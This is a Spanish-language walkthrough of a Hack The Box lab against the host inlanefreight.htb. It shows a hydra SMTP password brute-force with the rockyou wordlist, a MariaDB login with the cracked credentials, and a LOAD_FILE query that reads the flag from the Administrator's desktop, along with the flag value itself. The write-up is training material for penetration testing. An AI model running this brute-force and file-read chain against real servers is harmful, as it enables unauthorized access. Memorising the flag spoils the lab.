La empresa Inlanefreight nos encargó realizar una prueba de penetración en 3 hosts diferentes para comprobar la configuración y la seguridad de los servidores. Se nos informó que se había colocado una flag en algún lugar de cada servidor para demostrar el acceso exitoso. Estas flags tienen el siguiente formato:
HTB{...}
Nuestra tarea es revisar la seguridad de cada uno de los tres servidores y presentársela al cliente. Según nuestra información, el primer servidor es un servidor que gestiona los correos electrónicos, los clientes y sus archivos.
Su objetivo es el dominio inlanefreight.htb. Evalúa el servidor de destino y obtén el contenido del archivo flag.txt en el escritorio del administrador.
hydra -l fiona@inlanefreight.htb -P /usr/share/wordlists/rockyou.txt -t 64 -f 10.129.203.7 smtp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-30 17:58:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking smtp://10.129.203.7:25/
[25][smtp] host: 10.129.203.7 login: fiona@inlanefreight.htb password: 987654321
[STATUS] attack finished for 10.129.203.7 (valid pair found)
fiona@inlanefreight.htb
987654321
mysql -u fiona -p -h 10.129.203.7 --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 14
Server version: 10.4.24-MariaDB mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| phpmyadmin |
| test |
+--------------------+
5 rows in set (0,072 sec)
MariaDB [(none)]>
MariaDB [(none)]> SELECT LOAD_FILE("C:/Users/Administrator/Desktop/flag.txt");
+------------------------------------------------------+
| LOAD_FILE("C:/Users/Administrator/Desktop/flag.txt") |
+------------------------------------------------------+
| HTB{t#3r3_4r3_tw0_w4y$_t0_93t_t#3_fl49} |
+------------------------------------------------------+
1 row in set (2 min 3,125 sec)
MariaDB [(none)]>